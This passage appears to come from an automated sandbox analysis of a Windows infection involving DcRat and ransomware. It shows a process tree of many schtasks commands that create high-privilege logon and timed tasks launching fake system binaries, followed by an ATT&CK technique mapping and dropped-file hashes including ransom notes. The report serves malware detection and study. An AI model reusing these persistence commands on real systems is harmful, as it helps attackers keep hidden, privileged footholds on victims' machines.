                                            • Scheduled Task/Job: Scheduled Task
                                            PID:852
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Users\All Users\Adobe\Updater6\wininit.exe'" /rl HIGHEST /f
                                            1⤵
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:1836
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 7 /tr "'C:\Windows\Migration\WTR\winlogon.exe'" /f
                                            1⤵
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:652
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 6 /tr "'C:\Users\All Users\Adobe\Updater6\wininit.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            PID:3020
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Windows\Migration\WTR\winlogon.exe'" /rl HIGHEST /f
                                            1⤵
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:2408
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 8 /tr "'C:\Recovery\1b8b1de2-69f6-11ef-9774-62cb582c238c\dwm.exe'" /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:1232
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 8 /tr "'C:\Windows\Migration\WTR\winlogon.exe'" /rl HIGHEST /f
                                            1⤵
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:2116
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Recovery\1b8b1de2-69f6-11ef-9774-62cb582c238c\dwm.exe'" /rl HIGHEST /f
                                            1⤵
                                            • Process spawned unexpected child process
                                            PID:3060
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "OSPPSVCO" /sc MINUTE /mo 7 /tr "'C:\Windows\Temp\Crashpad\OSPPSVC.exe'" /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            PID:2844
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 8 /tr "'C:\Recovery\1b8b1de2-69f6-11ef-9774-62cb582c238c\dwm.exe'" /rl HIGHEST /f
                                            1⤵
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:3064
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "OSPPSVC" /sc ONLOGON /tr "'C:\Windows\Temp\Crashpad\OSPPSVC.exe'" /rl HIGHEST /f
                                            1⤵
                                            • Process spawned unexpected child process
                                            PID:2840
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 11 /tr "'C:\Users\All Users\csrss.exe'" /f
                                            1⤵
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:2736
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "OSPPSVCO" /sc MINUTE /mo 10 /tr "'C:\Windows\Temp\Crashpad\OSPPSVC.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:2036
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Users\All Users\csrss.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:2192
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 6 /tr "'C:\Users\All Users\csrss.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:764
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "ClientC" /sc MINUTE /mo 14 /tr "'C:\Users\Default User\Client.exe'" /f
                                            1⤵
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:468
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "BTZB" /sc MINUTE /mo 8 /tr "'C:\Recovery\1b8b1de2-69f6-11ef-9774-62cb582c238c\BTZ.exe'" /f
                                            1⤵
                                            • DcRat
                                            PID:2220
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "Client" /sc ONLOGON /tr "'C:\Users\Default User\Client.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            PID:3028
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "BTZ" /sc ONLOGON /tr "'C:\Recovery\1b8b1de2-69f6-11ef-9774-62cb582c238c\BTZ.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:2888
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "ClientC" /sc MINUTE /mo 6 /tr "'C:\Users\Default User\Client.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:592
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "BTZB" /sc MINUTE /mo 10 /tr "'C:\Recovery\1b8b1de2-69f6-11ef-9774-62cb582c238c\BTZ.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:1784
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 6 /tr "'C:\Windows\IME\IMETC10\WmiPrvSE.exe'" /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:884
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Google\CrashReports\conhost.exe'" /f
                                            1⤵
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:3032
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Windows\IME\IMETC10\WmiPrvSE.exe'" /rl HIGHEST /f
                                            1⤵
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:1304
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Google\CrashReports\conhost.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:316
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 10 /tr "'C:\Windows\IME\IMETC10\WmiPrvSE.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:2188
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "ClientC" /sc MINUTE /mo 8 /tr "'C:\MSOCache\All Users\{90140000-001A-0409-0000-0000000FF1CE}-C\Client.exe'" /f
                                            1⤵
                                            • DcRat
                                            PID:2952
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Google\CrashReports\conhost.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:2984
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "Client" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-001A-0409-0000-0000000FF1CE}-C\Client.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            PID:1752
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "CatC" /sc MINUTE /mo 12 /tr "'C:\Windows\assembly\NativeImages_v2.0.50727_32\System.IdentityModel\b4c60dd01be760ee0452df2c040de8fc\Cat.exe'" /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:2368
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "ClientC" /sc MINUTE /mo 13 /tr "'C:\MSOCache\All Users\{90140000-001A-0409-0000-0000000FF1CE}-C\Client.exe'" /rl HIGHEST /f
                                            1⤵
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:3076
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "Cat" /sc ONLOGON /tr "'C:\Windows\assembly\NativeImages_v2.0.50727_32\System.IdentityModel\b4c60dd01be760ee0452df2c040de8fc\Cat.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            PID:3100
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 9 /tr "'C:\Users\Admin\Searches\csrss.exe'" /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            PID:3116
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "CatC" /sc MINUTE /mo 12 /tr "'C:\Windows\assembly\NativeImages_v2.0.50727_32\System.IdentityModel\b4c60dd01be760ee0452df2c040de8fc\Cat.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            PID:3132
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Users\Admin\Searches\csrss.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:3156
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 12 /tr "'C:\Users\Admin\Searches\csrss.exe'" /rl HIGHEST /f
                                            1⤵
                                            • Process spawned unexpected child process
                                            PID:3204
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "CatC" /sc MINUTE /mo 14 /tr "'C:\Recovery\1b8b1de2-69f6-11ef-9774-62cb582c238c\Cat.exe'" /f
                                            1⤵
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:3196
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "Cat" /sc ONLOGON /tr "'C:\Recovery\1b8b1de2-69f6-11ef-9774-62cb582c238c\Cat.exe'" /rl HIGHEST /f
                                            1⤵
                                            • Process spawned unexpected child process
                                            PID:3236
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "ClientC" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Windows Media Player\Visualizations\Client.exe'" /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:3244
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "CatC" /sc MINUTE /mo 12 /tr "'C:\Recovery\1b8b1de2-69f6-11ef-9774-62cb582c238c\Cat.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:3268
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "Client" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Media Player\Visualizations\Client.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:3280
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "ClientC" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Windows Media Player\Visualizations\Client.exe'" /rl HIGHEST /f
                                            1⤵
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:3304
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "ClientC" /sc MINUTE /mo 13 /tr "'C:\Windows\addins\Client.exe'" /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:3332
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "Client" /sc ONLOGON /tr "'C:\Windows\addins\Client.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:3348
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "ClientC" /sc MINUTE /mo 8 /tr "'C:\Windows\addins\Client.exe'" /rl HIGHEST /f
                                            1⤵
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:3368
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "CatC" /sc MINUTE /mo 9 /tr "'C:\Program Files\Mozilla Firefox\Cat.exe'" /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            PID:3392
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "Cat" /sc ONLOGON /tr "'C:\Program Files\Mozilla Firefox\Cat.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:3408
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "CatC" /sc MINUTE /mo 7 /tr "'C:\Program Files\Mozilla Firefox\Cat.exe'" /rl HIGHEST /f
                                            1⤵
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:3424
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Windows Mail\ja-JP\dllhost.exe'" /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:3456
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Mail\ja-JP\dllhost.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            PID:3472
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Windows Mail\ja-JP\dllhost.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:3488
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 13 /tr "'C:\MSOCache\All Users\{90140000-001B-0409-0000-0000000FF1CE}-C\System.exe'" /f
                                            1⤵
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:3516
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-001B-0409-0000-0000000FF1CE}-C\System.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            PID:3536
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 13 /tr "'C:\MSOCache\All Users\{90140000-001B-0409-0000-0000000FF1CE}-C\System.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            PID:3556
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 6 /tr "'C:\Recovery\1b8b1de2-69f6-11ef-9774-62cb582c238c\lsass.exe'" /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:3596
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Recovery\1b8b1de2-69f6-11ef-9774-62cb582c238c\lsass.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:3616
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 8 /tr "'C:\Recovery\1b8b1de2-69f6-11ef-9774-62cb582c238c\lsass.exe'" /rl HIGHEST /f
                                            1⤵
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:3640
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "schtaskss" /sc MINUTE /mo 7 /tr "'C:\Program Files\7-Zip\Lang\schtasks.exe'" /f
                                            1⤵
                                            • DcRat
                                            PID:3936
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Microsoft Synchronization Services\ADO.NET\v1.0\wininit.exe'" /f
                                            1⤵
                                            • DcRat
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:1244
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "schtasks" /sc ONLOGON /tr "'C:\Program Files\7-Zip\Lang\schtasks.exe'" /rl HIGHEST /f
                                            1⤵
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:2332
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft Synchronization Services\ADO.NET\v1.0\wininit.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            PID:3220
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Microsoft Synchronization Services\ADO.NET\v1.0\wininit.exe'" /rl HIGHEST /f
                                            1⤵
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:3496
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "schtaskss" /sc MINUTE /mo 13 /tr "'C:\Program Files\7-Zip\Lang\schtasks.exe'" /rl HIGHEST /f
                                            1⤵
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:2476
                                          • C:\Windows\system32\conhost.exe
                                            \??\C:\Windows\system32\conhost.exe "1759143759193062159290303904211233023572539967071901883420-16138939311075166564"
                                            1⤵
                                              PID:3652
                                            • C:\Windows\system32\schtasks.exe
                                              schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Google\Temp\WmiPrvSE.exe'" /f
                                              1⤵
                                              • DcRat
                                              • Scheduled Task/Job: Scheduled Task
                                              PID:1932
                                            • C:\Windows\system32\schtasks.exe
                                              schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Program Files (x86)\Google\Temp\WmiPrvSE.exe'" /rl HIGHEST /f
                                              1⤵
                                                PID:3172
                                              • C:\Windows\SysWOW64\wowmgr.exe
                                                C:\Windows\SysWOW64\wowmgr.exe
                                                1⤵
                                                • Modifies firewall policy service
                                                • Executes dropped EXE
                                                • Drops file in System32 directory
                                                • System Location Discovery: System Language Discovery
                                                PID:3056

                                              Network

                                              MITRE ATT&CK Enterprise v15

                                              Reconnaissance

                                              Resource Development

                                              Initial Access

                                              Replication Through Removable Media

                                              1
                                              T1091

                                              Execution

                                              Command and Scripting Interpreter

                                              1
                                              T1059

                                              PowerShell

                                              1
                                              T1059.001

                                              Scheduled Task/Job

                                              1
                                              T1053

                                              Scheduled Task

                                              1
                                              T1053.005

                                              Scripting

                                              1
                                              T1064

                                              Windows Management Instrumentation

                                              1
                                              T1047

                                              Persistence

                                              Boot or Logon Autostart Execution

                                              3
                                              T1547

                                              Registry Run Keys / Startup Folder

                                              2
                                              T1547.001

                                              Winlogon Helper DLL

                                              1
                                              T1547.004

                                              Create or Modify System Process

                                              2
                                              T1543

                                              Windows Service

                                              2
                                              T1543.003

                                              Event Triggered Execution

                                              2
                                              T1546

                                              AppInit DLLs

                                              1
                                              T1546.010

                                              Netsh Helper DLL

                                              1
                                              T1546.007

                                              Pre-OS Boot

                                              1
                                              T1542

                                              Bootkit

                                              1
                                              T1542.003

                                              Scheduled Task/Job

                                              1
                                              T1053

                                              Scheduled Task

                                              1
                                              T1053.005

                                              Privilege Escalation

                                              Boot or Logon Autostart Execution

                                              3
                                              T1547

                                              Registry Run Keys / Startup Folder

                                              2
                                              T1547.001

                                              Winlogon Helper DLL

                                              1
                                              T1547.004

                                              Create or Modify System Process

                                              2
                                              T1543

                                              Windows Service

                                              2
                                              T1543.003

                                              Event Triggered Execution

                                              2
                                              T1546

                                              AppInit DLLs

                                              1
                                              T1546.010

                                              Netsh Helper DLL

                                              1
                                              T1546.007

                                              Scheduled Task/Job

                                              1
                                              T1053

                                              Scheduled Task

                                              1
                                              T1053.005

                                              Defense Evasion

                                              Impair Defenses

                                              3
                                              T1562

                                              Disable or Modify System Firewall

                                              2
                                              T1562.004

                                              Safe Mode Boot

                                              1
                                              T1562.009

                                              Indicator Removal

                                              1
                                              T1070

                                              File Deletion

                                              1
                                              T1070.004

                                              Modify Registry

                                              7
                                              T1112

                                              Pre-OS Boot

                                              1
                                              T1542

                                              Bootkit

                                              1
                                              T1542.003

                                              Scripting

                                              1
                                              T1064

                                              Subvert Trust Controls

                                              1
                                              T1553

                                              Install Root Certificate

                                              1
                                              T1553.004

                                              Credential Access

                                              Credentials from Password Stores

                                              2
                                              T1555

                                              Credentials from Web Browsers

                                              1
                                              T1555.003

                                              Windows Credential Manager

                                              1
                                              T1555.004

                                              Unsecured Credentials

                                              1
                                              T1552

                                              Credentials In Files

                                              1
                                              T1552.001

                                              Discovery

                                              Peripheral Device Discovery

                                              1
                                              T1120

                                              Query Registry

                                              4
                                              T1012

                                              System Information Discovery

                                              3
                                              T1082

                                              System Location Discovery

                                              1
                                              T1614

                                              System Language Discovery

                                              1
                                              T1614.001

                                              Lateral Movement

                                              Replication Through Removable Media

                                              1
                                              T1091

                                              Collection

                                              Data from Local System

                                              1
                                              T1005

                                              Email Collection

                                              2
                                              T1114

                                              Command and Control

                                              Exfiltration

                                              Impact

                                              Defacement

                                              1
                                              T1491

                                              Inhibit System Recovery

                                              1
                                              T1490

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              • C:\GGADBW-DECRYPT.txt
                                                Filesize

                                                8KB

                                                MD5

                                                ad6d06fac5cce73cd0f919509498c466

                                                SHA1

                                                d80240157afaf8d049d8a8281084eb2429aa9c0b

                                                SHA256

                                                5f60e66824d09647e7eb758147a507b53f9de066ed8fa2ec3e7b7e4f35782c2c

                                                SHA512

                                                f50dcb839f9b91ce37cd089933a0b6411639bd054814b70de1edd992754f94c2e284ef3aa072e06626526675db14500c1ed862dcff5f41281af001eea642eda0

                                                Download Submit

                                              • C:\MSOCache\All Users\{90140000-0016-0409-0000-0000000FF1CE}-C\YOUR_FILES_ARE_DEAD.HTA
                                                Filesize

                                                64KB

                                                MD5

                                                cc676c35b83e60bab47c174c7805ccc1

                                                SHA1

                                                e62c25307f475b50a144ceef74f6b97f2f09ddae

                                                SHA256

                                                6d52d0628262b95f7687ee058e607efa9a6ba8a184482d4faf8c60cd8d49999c

                                                SHA512

                                                49d946619ff25e3c14800f8e0b5c5fa8f1985f5026c302d5ee59eb084c7ba11cd6e5088ddaf140cc3a28c51bbdda88cffdaa439438dd5b1a2e5d08a9f8728dec

                                                Download Submit

                                              • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
                                                Filesize

                                                233KB

                                                MD5

                                                4ef3177a2e94ce3d15ae9490a73a2212

                                                SHA1

                                                a34f47568ce7fcea97a002eebeae385efa98790c

                                                SHA256

                                                87353d18dfdebf4d0747bbf21d58adaed2b04060d61cba3fa052d522640520f0

                                                SHA512

                                                635ce5c0d1b9f7dd5d7b4c00f216af06dc7d818132ba87a57d3d54f6b30ee01f64430d2aa265f60027cc58dc2e738d5b674ee36ffdca34ff540ce44b7da7c502

                                                Download Submit

                                              • C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe
                                                Filesize

                                                55KB

                                                MD5

                                                17315d95e80eb36cc51a7d25e4c8b231

                                                SHA1

                                                95006ad8de0a17dc3df6698e195e62b8ee32475e

                                                SHA256

                                                2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c

                                                SHA512

                                                481a15c46dcf38562aa989f52330e556da90a3ce00190cedb2e00b2a39df5db3bcc3af743060fd8c75933d6ae756aa4bbc176708f36d3b4aa443b4663ca94608

                                                Download Submit

                                              • C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe
                                                Filesize

                                                37KB

                                                MD5

                                                5c8eb40a1344bd8b18c1ef0d95d433d4

                                                SHA1

                                                b6c1f037637936ae018cc5e3e17ab9f3cc8cb3ff

                                                SHA256

                                                31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65

                                                SHA512

                                                74aa4c3047e5fff0b0d903841ceb01cd0e9939244c9008a9ae6a77ee5484290e7a0df56bbfc422ff5cf80012e84b75af2cf8840fd6ce6c80ea361fa07e5da577

                                                Download Submit

                                              • C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe
                                                Filesize

                                                93KB

                                                MD5

                                                7299c8fe0d2e5c385c4e4711260ee2b5

                                                SHA1

                                                4814f8494c3ff005203838e25a62cdb1ce5f8d68

                                                SHA256

                                                34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219

                                                SHA512

                                                2103b6e574657998159979c0d1e9021175732fffbfcba4ac1c3f778b33010129b9b9467b6f6a1e5f4095e9bf62d2212654f20c5a051cbb72158a2a8f399dfaad

                                                Download Submit

                                              • C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe
                                                Filesize

                                                828KB

                                                MD5

                                                5e710462c65fe899466e4fb7c1e33c9a

                                                SHA1

                                                a0bee34a8865683de35502c1ed5ff41e86670718

                                                SHA256

                                                f4f54ed5ec3a6e3b427be418fa0f63061e2feffbb9c33ab3911404b1b8f93c7e

                                                SHA512

                                                35c4adede7a4f8baad61876de8821e91dfe4ace4ec721575fc8155f6e7d43c794a7d4741609fda24b16a82d3d9ae18bc35addb299416f59ad1cde74eedbfa0c2

                                                Download Submit

                                              • C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe
                                                Filesize

                                                827KB

                                                MD5

                                                73c1c41b9e71c48e752a5cd19fe808b6

                                                SHA1

                                                b8bd41a0b9dc7baef6eb01dfe6c852afdfaeed18

                                                SHA256

                                                fce441edb227275c5380194cc7a96a95998de6d75cd601b73bce1be529a68bd6

                                                SHA512

                                                f146a8917d39aa29d52386f5a23bbc01fbfade291d576782b5cc80b0ca363fa24fee80f00cf81ffa40e12503fedd203b422b7ad97dbb0d4500152e86d974cb38

                                                Download Submit

                                              • C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe
                                                Filesize

                                                268KB

                                                MD5

                                                fc57a660e24d9c91cb5464b2ece30756

                                                SHA1

                                                6d70e4dcd68ea6dae43cc381d4be84bcfad38eda

                                                SHA256

                                                75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa

                                                SHA512

                                                8f0fa0a2e5553a4059ac3e224ea8106131193f3cec7c23456507f8404c42440267efe88462cf31bcd3a6f9dba57011933a2a43e74b1cccd5d1a363497d1a3a67

                                                Download Submit

                                              • C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
                                                Filesize

                                                205KB

                                                MD5

                                                887b35a87fb75e2d889694143e3c9014

                                                SHA1

                                                c8be4500127bfce10ab38152a8a5003b75613603

                                                SHA256

                                                78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae

                                                SHA512

                                                98cf0e201092e6d43a7ec5db4d80e6cc20ec9a983098b04597039b244535f78a4096b76bc62e591336b810fafa302e1009a64be6e788f24dcc8b3ac0c8eb930a

                                                Download Submit

                                              • C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe
                                                Filesize

                                                175KB

                                                MD5

                                                7f1630df6b57af024a3b561bdadc208f

                                                SHA1

                                                9b304cb2eff05f040b76eccc00ee55b914cf1839

                                                SHA256

                                                c9dbac4fe659e8918f50a4a157713e40d71e05367799af66d1d7845d958ee3f7

                                                SHA512

                                                742219cb5c76b9d39ed56cff988a533d19ef3e202e0fa48e9a3aed7dd9de190eef0c313bc974e37e7f363892eb6787bc66657324be2f0fb05d1b0021ae61ec9e

                                                Download Submit

